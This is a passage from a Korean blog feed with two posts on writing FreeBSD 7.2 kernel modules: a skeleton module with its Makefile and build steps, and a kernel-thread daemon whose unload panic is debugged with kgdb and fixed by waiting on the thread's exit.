sleep하게 된 이벤트를 구분하는 유일한 주소"라고 설명이 되어 있다. 또한, &lt;span style="font-weight: bold;"&gt;wakeup&lt;/span&gt;이라는 함수를 호출해서 chan에서의 이벤트를 기다리는 모든 스레드를 깨울 수 있다고 되어있다. 여기서 생기는 궁금증. chan의 정체는 무엇이란말인가? 만약 chan이 invalid한 메모리 주소를 가리키게 하면 어떻게 된다는 소리인가?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;여기서 잠깐 팁! &lt;/span&gt;커널 소스 볼 때에는 ctags를 이용하면 좋다! &lt;br /&gt;&lt;br /&gt;&amp;nbsp;커널소스를 살펴보자. 여기서 할 일은 단순히 ctags를 이용해 함수의 definition을 좇아 들어가는 것 뿐이다. 여기에는 소스를 다 쫓아 들어가지 않고 결론을 간단히 제시하겠다. msleep함수와 tsleep함수는 _sleep함수의 래퍼함수이다. 그래서 두 함수는 사실 같다고 할 수 있다. 한편, msleep과 tsleep함수는 chan포인터를 _sleep함수의 ident로 넣어주는데, _sleep함수는 인수로 들어온 ident포인터를 /sys/kern/kern_synch.c의 203번째 줄에서&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre&gt;&lt;span style="font-weight: bold;"&gt;sleepq_add&lt;/span&gt;(ident, ident == &amp;amp;lbolt ? NULL : lock, wmesg, flags, 0);&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;와 같이, sleepq_add라는 함수에 넘겨주고 있다. 이름에서도 짐작할 수 있듯이, 이 함수는 잠자는 쓰레드 큐에다가 현재 스레드를 넣어준다. 무슨 소린지 전혀 감이 안올땐 ctags를 이용해서 같이 함수 콜을 따라 들어가보자. 감이 확확 올 것이다.&lt;br /&gt;&amp;nbsp;아무튼, 여기서 알 수 있는 사실은 이것이다:FreeBSD에서, ident는 같은 이벤트를 기다리는 스레드 집단들을 구분하는 identifier로 쓰인다. 이 메모리 주소를 "채널"이라고 부르는 데, chan도 역시 channel의 약자이다. 그런데, 커널에서는 chan포인터가 가리키는 메모리 영역에서 일어난 변화를 감지하거나 하지 않으며, 그 값은 단순히 identifier로만 쓰이기 때문에 실제로 존재하지 않는 주소를 넣어주더라도 문제가 없다. 다만, 커널 소스 전체에 걸쳐 chan을 "어떤 이벤트가 발생하는 메모리 주소"로 생각하고 프로그래밍하고 있으며, chan이 가리키는 곳에 변경을 가했을 때 wakeup(chan)을 해줘서 chan주소에서 발생할 이벤트를 기다리는 스레드를 알아서 깨워주기 때문에, 이왕이면 이런 전통을 지키는 것이 좋겠다. 자세한 것은 커널소스에서 sleepqueue 스트럭트와 &lt;a target="_blank" href="http://www.freebsd.org/doc/en/books/arch-handbook/smp-implementation-notes.html"&gt;http://www.freebsd.org/doc/en/books/arch-handbook/smp-implementation-notes.html &lt;/a&gt;을 참고하면 좋을것임 ㅋ &lt;br /&gt;&lt;br /&gt;자, 그럼 소스코드를 보자.&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/module.h&amp;gt;&lt;/font&gt;               &lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/systm.h&amp;gt;&lt;/font&gt;                &lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/errno.h&amp;gt;&lt;/font&gt;                &lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/param.h&amp;gt;&lt;/font&gt;                &lt;br /&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/conf.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/kernel.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/malloc.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/uio.h&amp;gt;&lt;/font&gt;   &lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/proc.h&amp;gt;&lt;/font&gt;  &lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/kthread.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#4169e1"&gt;struct mtx &lt;/font&gt;workermtx;&lt;br /&gt;int shouldrun = 1;                                                  &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;static void worker(void* a)&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;{                                                                                             &lt;br /&gt;        int i=0;&lt;br /&gt;        &lt;font color="#4169e1"&gt;while&lt;/font&gt;(shouldrun)                                         &lt;br /&gt;        {&lt;br /&gt;                i++;&lt;br /&gt;                printf(&lt;font color="#666666"&gt;"Merrong(%d) curthread = %08x\n"&lt;/font&gt;, i, curthread);&lt;br /&gt;                &lt;font color="#4169e1"&gt;if&lt;/font&gt; (i&amp;gt;1000) &lt;font color="#4169e1"&gt;break&lt;/font&gt;;     &lt;br /&gt;                tsleep(worker, 0, &lt;font color="#666666"&gt;"workerthread sleep"&lt;/font&gt;, 1000);         &lt;br /&gt;        }&lt;br /&gt;        kthread_exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static &lt;font color="#4169e1"&gt;struct proc&lt;/font&gt;* g_proc;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;static int drv_loader(struct module *m, int what, void* arg)&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;{&lt;br /&gt;        int err=0, i;&lt;br /&gt;        &lt;font color="#4169e1"&gt;switch&lt;/font&gt;(what)&lt;br /&gt;        {&lt;br /&gt;                &lt;font color="#4169e1"&gt;case&lt;/font&gt; MOD_LOAD:&lt;br /&gt;                        i=kthread_create((void(*)(void*))worker, (void*)NULL, &amp;amp;g_proc, NULL, NULL,&lt;font color="#666666"&gt;"drv"&lt;/font&gt;);&lt;br /&gt;                        printf(&lt;font color="#666666"&gt;"My driver is loaded(%d)\n"&lt;/font&gt;, i);&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;                &lt;font color="#4169e1"&gt;case&lt;/font&gt; MOD_UNLOAD:&lt;br /&gt;                        shouldrun = 0;&lt;br /&gt;                        wakeup(worker);&lt;br /&gt;                        printf(&lt;font color="#666666"&gt;"My driver is unloaded\n"&lt;/font&gt;);&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;&lt;strong&gt;&lt;font color="#ff0000"&gt;                default:&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;                        err = EOPNOTSUPP;&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;        }&lt;br /&gt;        &lt;font color="#4169e1"&gt;return&lt;/font&gt; (err);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static moduledata_t drv_mod =&lt;br /&gt;{&lt;br /&gt;        &lt;font color="#666666"&gt;"drv"&lt;/font&gt;,&lt;br /&gt;        drv_loader,&lt;br /&gt;        NULL&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;DECLARE_MODULE(drvmodule, drv_mod, SI_SUB_KLD, SI_ORDER_ANY)&lt;/font&gt;&lt;/strong&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;무언가 엉성한 것을 확인할 수 있다. 애석하게도, 이 드라이버를 로드한 뒤 언로드하면...&lt;br /&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://ss.textcube.com/blog/1/16124/attach/XQAQgKzoW6.png" style="width:500px;height:323px;" alt="" onclick="TC$PRIV_open_img('http://ss.textcube.com/blog/1/16124/attach/XQAQgKzoW6.png')" /&gt;&lt;/div&gt;&lt;br /&gt;페이지폴트를 내며 커널은 장렬히 전사한다. 이렇게 커널 패닉이 발생(?)하면 커널은 알아서 커널 코어덤프를 생성한다. 코어파일은 /var/crash에 생성된다. 이 코어파일을 분석하기 위해서는 커널디버거 kgdb를 이용해야 한다. kgdb의 사용법은 다음과 같다.&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;kgdb &amp;nbsp; [ 커널 파일 ] &amp;nbsp; [ 코어 덤프 ]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;직접 커널을 컴파일하지 않은 경우에는 커널파일은 &lt;span style="font-weight: bold;"&gt;/boot/kernel/kernel&lt;/span&gt;에 들어있다. 코어파일의 이름은 &lt;span style="font-weight: bold;"&gt;/var/crash/vmcore.[번호]&lt;/span&gt; 인데, 여기서 [번호]는 클 수록 최근 것이다. 커널덤프는 크기가 꽤 크므로 지워주면 하드 용량이 부족할 때 지워주면 좋을 것이다. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;이렇게 커널이 죽는 것은, 모듈이 언로드 되면서 모듈의 코드가 들어있는 메모리가 해제되기 때문이다. 이렇게 되면 실행되고 있는 스레드의 코드가 담겨있는 메모리가 없어져버리면서 cpu의 eip가 가리키는 주소는 invalid한 주소가 되어버린다 ㅋ 이를 막을려면, 언로드기능을 아예 구현하지 않는 방법이 있고, 모듈의 이벤트 핸들러가 스레드가 완전히 끝마쳐질 때까지 기다리도록 하는 방법이 있다. 처음 것은 너무 단순하니 두 번째 것을 시도해보자. 이는 간단히 구현할 수 있다. 위의 소스코드에서 다음의 줄을 추가하자.&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre&gt;                &lt;font color="#4169e1"&gt;case&lt;/font&gt; MOD_UNLOAD:&lt;br /&gt;                        shouldrun = 0;&lt;br /&gt;                        wakeup(worker);&lt;br /&gt;                        &lt;font size="3"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;tsleep(g_proc, 0, &lt;/span&gt;&lt;/font&gt;&lt;font style="font-weight: bold; color: rgb(255, 0, 0);" color="#666666" size="3"&gt;"exit sleep"&lt;/font&gt;&lt;font size="3"&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;, 1000);&lt;/span&gt;&lt;/font&gt;&lt;br /&gt;                        printf(&lt;font color="#666666"&gt;"My driver is unloaded\n"&lt;/font&gt;);&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;이렇게 하면 스레드가 끝마쳐질 때까지 대기하도록 할 수 있다. 여기서 주목할 점은 g_proc을 chan으로 넣어주었다는 것이다.&amp;nbsp; kthread_exit함수를 열어보면 다음과 같다.&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;void&lt;br /&gt;kthread_exit(int ecode)&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;{&lt;br /&gt;        &lt;font color="#4169e1"&gt;struct thread&lt;/font&gt; *td;&lt;br /&gt;        &lt;font color="#4169e1"&gt;struct proc&lt;/font&gt; *p;&lt;br /&gt;&lt;br /&gt;        td = curthread;&lt;br /&gt;        p = td-&amp;gt;td_proc;&lt;br /&gt;        &lt;font color="#b22222"&gt;/*&lt;br /&gt;         * Reparent curthread from proc0 to init so that the zombie&lt;br /&gt;         * is harvested.&lt;br /&gt;         */&lt;/font&gt;&lt;br /&gt;        sx_xlock(&amp;amp;proctree_lock);&lt;br /&gt;        PROC_LOCK(p);&lt;br /&gt;        proc_reparent(p, initproc);&lt;br /&gt;        PROC_UNLOCK(p);&lt;br /&gt;        sx_xunlock(&amp;amp;proctree_lock);&lt;br /&gt;        &lt;font color="#b22222"&gt;/*&lt;br /&gt;         * Wakeup anyone waiting for us to exit.&lt;br /&gt;         */&lt;/font&gt;&lt;br /&gt;        wakeup(p);&lt;br /&gt;        &lt;font color="#b22222"&gt;/* Buh-bye! */&lt;/font&gt;&lt;br /&gt;        exit1(td, W_EXITCODE(ecode, 0));&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;여기에서 확인할 수 있듯, kthread_exit함수는 p에 대해 wakeup을 호출해서 g_proc에 대해 잠자고 있는 이벤트 핸들러를 깨워준다. 이를 통해서 스레드가 끝난 뒤에 커널 모듈이 언로드되는 것을 어느정도(?)보장해줄 수 있다. &lt;br /&gt;&lt;br /&gt;이렇게 하고 커널 모듈을 빌드한 뒤, dmesg를 통해 이번 커널 모듈이 출력한 메시지를 확인해보자.&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;[root@CTF /]# dmesg | tail&lt;br /&gt;Trying to mount root from ufs:/dev/ad0s1a&lt;br /&gt;WARNING: / was not properly dismounted&lt;br /&gt;GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.&lt;br /&gt;GEOM_LABEL: Label for provider ad0s1a is ufsid/4b4d2753e0ce587a.&lt;br /&gt;GEOM_LABEL: Label ufsid/4b4d2753e0ce587a removed.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;My driver is loaded(0)&lt;/span&gt;&lt;br style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Merrong(1) curthread = c29fd230&lt;/span&gt;&lt;br style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Merrong(2) curthread = c29fd230&lt;/span&gt;&lt;br style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Merrong(3) curthread = c29fd230&lt;/span&gt;&lt;br style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;My driver is unloaded&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;우왕 ㅋ 성공한듯 ㅋ &lt;br /&gt;&lt;br /&gt;사족을 붙이자면, 이 커널 드라이버에서 출력하는 curthread라는 포인터의 값은 현재 실행되고 있는 스레드의 TCB(thread control block)의 주소다. 타입은 &lt;span style="font-weight: bold;"&gt;struct thread*&lt;/span&gt; 이며, &lt;span style="font-weight: bold;"&gt;struct thread&lt;/span&gt;의 정의는 /sys/sys/proc.h에서 확인할 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4767372580884904177-2031141009018665703?l=nyam-textcube.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/2031141009018665703/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://nyam-textcube.blogspot.com/2010/02/freebsd-72%EC%97%90%EC%84%9C-%EC%BB%A4%EB%84%90%EB%AA%A8%EB%93%88%EB%A1%9C-%EC%82%BD%EC%A7%88%ED%95%9C-%EC%9D%B4%EC%95%BC%EA%B8%B02-%EC%BB%A4%EB%84%90-%EB%A0%88%EB%B2%A8-%EB%8D%B0%EB%AA%AC%EB%A7%8C%EB%93%A4%EA%B8%B0.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/2031141009018665703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/2031141009018665703'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/2010/02/freebsd-72%EC%97%90%EC%84%9C-%EC%BB%A4%EB%84%90%EB%AA%A8%EB%93%88%EB%A1%9C-%EC%82%BD%EC%A7%88%ED%95%9C-%EC%9D%B4%EC%95%BC%EA%B8%B02-%EC%BB%A4%EB%84%90-%EB%A0%88%EB%B2%A8-%EB%8D%B0%EB%AA%AC%EB%A7%8C%EB%93%A4%EA%B8%B0.html' title='FreeBSD 7.2에서 커널모듈로 삽질한 이야기(2) - 커널 레벨 데몬만들기'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4767372580884904177.post-4686825280584655401</id><published>2010-02-09T07:49:00.000+09:00</published><updated>2011-01-30T13:05:45.625+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootkit'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='해킹'/><category scheme='http://www.blogger.com/atom/ns#' term='루트킷'/><title type='text'>FreeBSD 7.2에서 커널모듈로 삽질한 이야기(1) - 뼈대 만들기</title><content type='html'>&lt;div&gt;&lt;br /&gt;모의 CTF용 커널 모듈을 만들면서 삽질한(결국 완성은 못했지만) 약 2주간의 경험을 정리해보려고 한다. 난 내 전공에도 헉헉대는 데에다가 컴공과도 아니라 OS수업도 듣지 않아서 -_- 커널에 대한 감이 전혀 없었다. 그래서 FreeBSD가 어떻게 구성되어 있는지도 전혀 알지 못했다. 맨손으로 시작하려니 어디서부터 해야할 지 막막해서 커널 소스에서 시스템콜을 찾아 읽는 식으로 했는데, 그러면 그럴 수록 더욱 더 미궁으로 빠졌다. 사실 2주간의 시간은 대부분 멍하니 커널 소스사이를 헤집으며 보낸 시간이다. &lt;br /&gt;&lt;br /&gt;이 과정에서 무엇보다 어려웠던 것은, 커널 API를 쓰는 것은 대부분의 경우 아무 쓸모가 없기 때문에 정리된 문서를 찾기가 쉽지 않았다는 점이다. 이것이 커널 레벨 프로그래밍의 진입장벽이 아닐까 싶다. 이 문서에서는 커널 레벨 어플리케이션을 만드는 데 필요한 몇 가지 함수들과 그것들의 사용법, 그리고 자질구레하지만 없으면 불편한 것을 소개하려고 한다. 이를 통해 진입장벽을 조금이나마 낮추어보자는 생각이다. 나와 같은 처지에 있던 사람들이 커널 레벨 프로그래밍을 시작하는 데 작게나마  도움이 되기를 바라며, 이 문서를 시작하려고 한다. 더불어 이 문서가 플러스 정회원 페이퍼로 인정받았으면하는 아주 작은 바람도 함께 가져본다 :)&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;FreeBSD Developers' Handbook이라는 문서에 보면 커널 모듈의 Skeleton이 잘 나와있다. 일단은 거기서 그대로 가져다 쓰려고 한다. 먼저, 모듈을 만들기 위해서 필요한 파일은 최소 두 가지이다. 하나는 Makefile이고, 나머지는 소스파일이다. Makefile은 대부분 필요한 것들을 이미 FreeBSD에서 다 제공해주기 때문에 직접 입력해야할 내용은 굉장히 간단하다.&lt;div&gt;&lt;br /&gt;&amp;nbsp;&lt;div style="border: 1px solid rgb(255, 235, 154); padding: 3px; background-color: rgb(255, 255, 220);"&gt;Makefile&lt;/div&gt;&lt;div&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;SRCS=drv01.c&lt;br /&gt;KMOD=drv01&lt;br /&gt;&lt;br /&gt;.include &amp;lt;bsd.kmod.mk&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;저렇게 그냥 SRCS에 소스 파일 목록을 넣어주고 KMOD에 최종적으로 생길 드라이버 이름만 넣어주면 OK. 단순히 make를 실행시키는것 만으로 필요한 모든 것을 다 해준다. 이제 모듈 소스를 볼 차례..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px solid rgb(255, 235, 154); padding: 3px; background-color: rgb(255, 255, 220);"&gt;drv01.c&lt;/div&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/module.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/systm.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/errno.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/param.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;font color="#a020f0"&gt;#include &amp;lt;sys/kernel.h&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;static int mydrv_loader(struct module *m, int what, void* arg)&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;{&lt;br /&gt;        int err=0;&lt;br /&gt;        &lt;font color="#4169e1"&gt;switch&lt;/font&gt;(what)&lt;br /&gt;        {&lt;br /&gt;                &lt;font color="#4169e1"&gt;case&lt;/font&gt; MOD_LOAD:&lt;br /&gt;                        printf(&lt;font color="#666666"&gt;"MYDRV loaded\n"&lt;/font&gt;);&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;                &lt;font color="#4169e1"&gt;case&lt;/font&gt; MOD_UNLOAD:&lt;br /&gt;                        printf(&lt;font color="#666666"&gt;"MYDRV unloaded\n"&lt;/font&gt;);&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;&lt;strong&gt;&lt;font color="#ff0000"&gt;                default:&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;                        err = EOPNOTSUPP;&lt;br /&gt;                        &lt;font color="#4169e1"&gt;break&lt;/font&gt;;&lt;br /&gt;        }&lt;br /&gt;        &lt;font color="#4169e1"&gt;return&lt;/font&gt; (err);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static moduledata_t mydrv_mod =&lt;br /&gt;{&lt;br /&gt;        &lt;font color="#666666"&gt;"mydrv"&lt;/font&gt;,&lt;br /&gt;        mydrv_loader,&lt;br /&gt;        NULL&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#4169e1"&gt;DECLARE_MODULE(mydrvmodule, mydrv_mod, SI_SUB_KLD, SI_ORDER_ANY)&lt;/font&gt;&lt;/strong&gt;;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;이것이 가장 간단한 모듈이다. 위에 헤더파일은 솔직히 왜 추가하는 지 모르겠다. 뭐 암튼 필요하다니까 일단 추가.. 이 소스를 수정해서 원하는 작업을 수행하게 하는 데는 문제는 없어보인다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;뭔가.. DECLARE_MODULE에 넣어주는 parameter들이 중요해 보인다. man page에 DELCARE_MODULE이 뭔지 나오는군. 먼저&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;1번째 argument,&amp;nbsp; mydrvmodule&lt;br /&gt; FreeBSD 커널이 초기화될 때 실행되는 SYSINIT()함수에서 사용할 이름&lt;br /&gt;&lt;/li&gt;&lt;li&gt;2번째 argument, mydrv_mod&lt;br /&gt;모듈에 관한 데이터들을 담은 스트럭처(모듈 이름이나 모듈에 생기는 로드, 언로드와 같은 이벤트에 대한 핸들러의 주소 등) &lt;br /&gt;&lt;/li&gt;&lt;li&gt;3번째 argument, SI_SUB_KLD&lt;br /&gt;이 모듈이 드라이버임을 나타내는 것이고, &lt;br /&gt;&lt;/li&gt;&lt;li&gt;4번째 argument, SI_ORDER_ANY&lt;br /&gt;시스템 실행될 때 언제 로드되야하는지를 나타내는 듯.. 어떤 커널모듈이 다른 커널모듈에 디펜던스가 있을 수 있으니 로드 순서를 정해주는 게 필요할 것이다.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;mydrv_mod라는 스트럭처에 들어가는 내용도 이 소스를 보면 짐작할 수 있다. 처음 거는 드라이버 이름이며, 두 번째 들어가는 것은 이벤트 핸들러의 주소이다. &lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;이벤트 핸들러 함수 mydrv_loader를 살펴보자. 두 번째 argument인 what은 발생한 이벤트의 종류를 나타낸다.&amp;nbsp; 그래서 만약 what이 MOD_LOAD면 모듈에 대한 초기화 작업을, MOD_UNLOAD면 모듈 제거 작업을 해주면 된다. 나머지 이벤트에 대해선, EOPNOTSUPP에러를 리턴해서, '귀찮아서 구현하지 않았다'는 것을 솔직히 시인해주면 된다. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;man페이지에 찾아보면, 커널모듈에서 화면에 글자 찍는 함수 세 가지를 찾을 수 있다. 그것들은 다름아닌&amp;nbsp; &lt;b&gt;uprintf&lt;/b&gt;와 &lt;b&gt;printf&lt;/b&gt;, &lt;b&gt;tprintf&lt;/b&gt;.. uprintf는 현재 실행되고 있는 프로세스의 tty로 찍어주고, printf는 콘솔에 찍음과 동시에 로그에 남긴다. tprintf는 출력시킬 tty를 지정해 줄 수 있다. 즉, 특정한 사용자의 화면에 메시지를 찍어줄 수 있다는 이야기다.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;모듈 로드 시 출력하고 싶은 메시지는 그냥 uprintf로 출력해도 무방하다. uprintf의 특성상, 현재 실행되고 있는 프로세스의 tty로 메시지를 출력하는데, 모듈 로드시에는 '현재 프로세스'가 모듈을 올리는 유저레벨 프로그램이기 때문이다. 그래서 이벤트 핸들러 함수에서 uprintf로 메시지를 출력하면, 드라이버 로드하는 명령을 입력한 화면에서 바로 메시지를 볼 수 있다.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;하지만 uprintf가 만능 해법은 아니다. 드라이버 로드할 때 말고 커널에서 돌아가는 스레드 내부에서 uprintf로 내용을 출력하면 전부 허공으로 사라져서 문제가 된다. 이 때는 uprintf 대신 다른 옵션을 생각해야 한다. 일단 tprintf를 생각하자면, 어떤 사용자의 tty로 출력할 것인지 지정해줘야 하는데, 이는 쫌 귀찮은 일이므로, 선택대상에서 제외. 남은 옵션은 printf가 유일한데, 다행히 이 함수는 콘솔에 남기고 동시에 로그도 남기는 좋은 함수이다. 즉, &lt;b&gt;&lt;u&gt;printf&lt;/u&gt;&lt;/b&gt;를 애용하는 것이 합리적인 선택. 로그에 남기 때문에,&amp;nbsp; &lt;b&gt;dmesg&lt;/b&gt;를 써서 printf로 출력한 내용을 확인할 수 있다. &lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;모듈이 완성됐으니 컴파일을 해보자. make를 치고 kldload ./drv01.ko 를 통해 로드하고 kldunload ./drv01.ko 로 언로드한 뒤 dmesg로 찍힌 메시지를 확인하면 테스트하면 끝.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre width="80"&gt;[root@CTF ~/drv00]# make&lt;br /&gt;Warning: Object directory not changed from original /root/drv00&lt;br /&gt;cc -O2 -fno-strict-aliasing -pipe  -D_KERNEL -DKLD_MODULE -std=c99 -nostdinc   -I. -I@ -I@/contrib/altq -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -fno-common  -mno-align-long-strings -mpreferred-stack-boundary=2  -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -mno-sse3 -ffreestanding -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wundef -Wno-pointer-sign -fformat-extensions -c drv01.c&lt;br /&gt;ld  -d -warn-common -r -d -o drv01.kld drv01.o&lt;br /&gt;:&amp;gt; export_syms&lt;br /&gt;awk -f /sys/conf/kmod_syms.awk drv01.kld  export_syms | xargs -J% objcopy % drv01.kld&lt;br /&gt;ld -Bshareable  -d -warn-common -o drv01.ko drv01.kld&lt;br /&gt;objcopy --strip-debug drv01.ko&lt;br /&gt;[root@CTF ~/drv00]# kldload ./drv01.ko&lt;br /&gt;[root@CTF ~/drv00]# kldunload ./drv01.ko&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;그럼 이제 dmesg로 확인!!!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="border: 1px dashed rgb(204, 204, 204); padding: 10px; background-color: rgb(255, 255, 255);"&gt;&lt;pre width="80"&gt;[root@CTF ~/drv00]# dmesg | tail&lt;br /&gt;ad0: 8192MB &lt;vbox harddisk="" 1.0=""&gt; at ata0-master UDMA33&lt;br /&gt;acd0: DVDROM 